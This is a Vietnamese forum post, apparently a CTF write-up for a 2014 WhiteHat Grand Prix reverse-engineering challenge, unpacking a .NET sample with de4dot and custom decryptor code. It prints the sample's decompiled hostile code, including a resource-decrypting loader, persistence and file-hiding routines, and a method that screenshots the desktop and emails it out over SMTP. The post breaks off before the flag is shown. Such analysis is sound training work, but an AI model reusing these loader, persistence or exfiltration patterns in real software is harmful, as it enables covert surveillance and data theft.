Re: [Writeup] Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014
RE400:
Tool: SAE, de4dot
Target là 1 file .NET. Mở ra và chuyển đến hàm main() để xem code:
	
	
	
		
		
		
		
	
	
Có 1 method tên là decryptandloadresource(), và chương trình sẽ invoke 1 method có tên là "Do" sau khi data đã được decrypt và load lên. Xem thử code của decryptandloadresource:
	
	
	
		Mã:
	
	
		// きせげユぞぉぉ.ぉとユげキケ
public Type decryptandloadresources()
{
   Type result;
   using (MemoryStream せゾブユぉぉ = ケユきババネ.せゾブユぉぉ) //Lấy data từ resource
   {
       byte[] コせとォォブ = せゾブユぉぉ.ToArray(); //chuyển thành byte array
       int num = 12;
       result = this.Decrypt_resource(コせとォォブ, this.せブブげげゾ, 23).GetTypes()[num]; //Decrypt Resource và lấy method với index xác định
   }
   return result;
}
	 
 code khởi tạo data cho this.せブブげげゾ:
	
	
	
		
		
		
		
	
	
Đây tạm gọi là password để decrypt resource:
Code method Decrypt_Resource():
	
	
	
		Mã:
	
	
		private Assembly Decrypt_resource(byte[] コせとォォブ, byte[] ゾせネバゾコ, int きげゾコユぞ)
{
   int index = 0;
   byte[] buffer = コせとォォブ;
   for (int i = 0; i < buffer.Length; i++)
   {
       byte num1 = buffer[i];
       コせとォォブ[index] = (byte) (コせとォォブ[index] ^ ((byte) ((ゾせネバゾコ[index % ((int) ゾせネバゾコ.Length)] >> ((index++ + きげゾコユぞ) + ゾせネバゾコ.Length)) & 0xff)));
   }
   return AppDomain.CurrentDomain.Load(コせとォォブ);
}
	 
 Save Resource có trong app lại thành 1 file với tên là "obj". Sau đó build decryptor dựa trên code đã có (chỉnh lại 1 chút):
	
	
	
		Mã:
	
	
		using System;
using System.Text;
using System.IO;
namespace Decrypt_Resource
{
    class MainClass
    {
        public static void Main()
        {
            byte[] buffer = File.ReadAllBytes("obj"); //Get Encrypted data
            Decrypt_resource(buffer,Password(),0x17); //Invoke Decryption method
        }
        public static void Decrypt_resource(byte[] Inbuffer, byte[] Inpass, int mnum)
        {
            int index = 0;
            byte[] buffer = Inbuffer;
            for (int i = 0; i < buffer.Length; i++)
            {
                byte num1 = buffer[i];
                Inbuffer[index] = (byte) (Inbuffer[index] ^ ((byte) ((Inpass[index % ((int) Inpass.Length)] >> ((index++ + mnum) + Inpass.Length)) & 0xff)));
            }
            File.WriteAllBytes("Decrypted.dll", Inbuffer); //Save decrypted data to file
        }
        public static byte[] Password() //Lấy password decrypt
        {
            return Encoding.UTF8.GetBytes("DoBGgtaiFaynDuU");
        }
    }
}
	 
 Build, run, ta có 1 file Decrypted.dll, mở file này lên bằng SAE, và tìm đến method Do():
	
	
	
		Mã:
	
	
		// Exec.Job
public void Do()
{
   string a = "true";
   string a2 = "true";
   string a3 = "true";
   string text = "breakfast";
   string a4 = "melt";
   string a5 = "yesfake";
   string s = "1";
   string a6 = "false";
   string a7 = "true";
   if (a7 == "true")
   {
       Thread.Sleep(60000);
   }
   if (a == "true")
   {
       this.Startup(text, a2 != "true", a3 != "false");
   }
   if (a4 != "none")
   {
       if (a4 == "hide")
       {
           this.Hide(Application.ExecutablePath);
           this.Hide(Path.Combine(Path.GetTempPath(), text + ".exe"));
       }
       else
       {
           this.SetUndeletable(Application.ExecutablePath);
           this.SetUndeletable(Path.Combine(Path.GetTempPath(), text + ".exe"));
       }
   }
   if (a5 == "yesfake")
   {
       this.FakeError();
   }
   if (a6 == "true")
   {
       this.DownloadFile();
   }
   this.HandleBoundFiles();
   byte[] data = this.ReadResource("Res"); //Load Resource
   this.Begin(data, int.Parse(s));
}
	 
 
Ở phần cuối có method ReadResource(), code:
	
	
	
		Mã:
	
	
		// Exec.Job
public byte[] ReadResource(string Name)
{
   ResourceManager resourceManager = new ResourceManager(Name, Assembly.GetExecutingAssembly()); //Init resourceManager
   byte[] compressed = (byte[])resourceManager.GetObject("data"); //get resource named "data" in current assembly
   return new LZ4Decompressor32().Decompress(compressed);//Decompress using LZ4
}
	 
 Save resource của file Decrypted.dll lại, download code LZ4Sharp tại: 
https://github.com/stangelandcl/LZ4Sharp/tree/master/LZ4Sharp và compile (.NET4), tạo 1 app mới và reference LZ4Sharp.dll vào, sau đó viết code:
	
	
	
		Mã:
	
	
		using System;
using System.IO;
using LZ4Sharp;
namespace a
{
    class Program
    {
        public static void Main()
        {
            byte[] Decrypted_2 =  new LZ4Decompressor32().Decompress(File.ReadAllBytes("data"));
            File.WriteAllBytes("out.dll", Decrypted_2);            
        }
    }
}
	 
 File có tên là out.dll được tạo ra, clean bằng de4dot. Mở lên và đi vòng quanh 1 lượt, gặp code sau:
	
	
	
		Mã:
	
	
		// Dark.Core
public static void smethod_3(string string_2)
{
   try
   {
       Stream contentStream = Core.smethod_17(Core.smethod_16(), ImageFormat.Jpeg);
       SmtpClient smtpClient = new SmtpClient();
       MailMessage mailMessage = new MailMessage();
       smtpClient.Credentials = new NetworkCredential(NativeMethods.GiaiMaString("]kcjh`o,..2;gdq`)^jh"), NativeMethods.GiaiMaString("ap^f]mdi"));
       smtpClient.Port = 587;
       smtpClient.Host = "Smtp.live.com";
       mailMessage = new MailMessage
       {
           From = new MailAddress(NativeMethods.GiaiMaString("]kcjh`o,..2;gdq`)^jh"))
       };
       mailMessage.To.Add(NativeMethods.GiaiMaString("]kcjh`o,..2;gdq`)^jh"));
       mailMessage.Subject = NativeMethods.GiaiMaString("Rcdo`Cov+2.0,@.-2>/.=.31.,.41,@--4+3/xu001c"); //Encrypted Flag
       mailMessage.Body = "Your Flag is set in the email subject! Can u read ?";
       new ContentType("image/jpeg");
       mailMessage.Attachments.Add(new Attachment(contentStream, NativeMethods.GiaiMaString("N^m``incjo)ek`b")));
       smtpClient.EnableSsl = true;
       smtpClient.Send(mailMessage);
   }
   catch (Exception projectError)
   {
       ProjectData.SetProjectError(projectError);
       ProjectData.ClearProjectError();
   }
}
	 
 Flag đã bị encrypted và được decrypt bằng mehtod GiaiMaString(). Lấy token của method này:
	
	
	
		Mã:
	
	
		/* Token: 0x06000001 */
/* RVA: 0x2198 */
.method public hidebysig static String GiaiMaString(String string_1)
.maxstack 3
	 
 
Token = 06000001
Sử dụng de4dot với file out-cleaned.dll với posfix param:
	
	
	
		Mã:
	
	
		de4dot out-cleaned.dll --strtyp delegate --strtok 06000001
	 
 Kết quả:
	
	
	
		
		
		
		
	
	
Mở file mới tạo ra, tìm đến method Dark.Core.method_3()(code ở trên):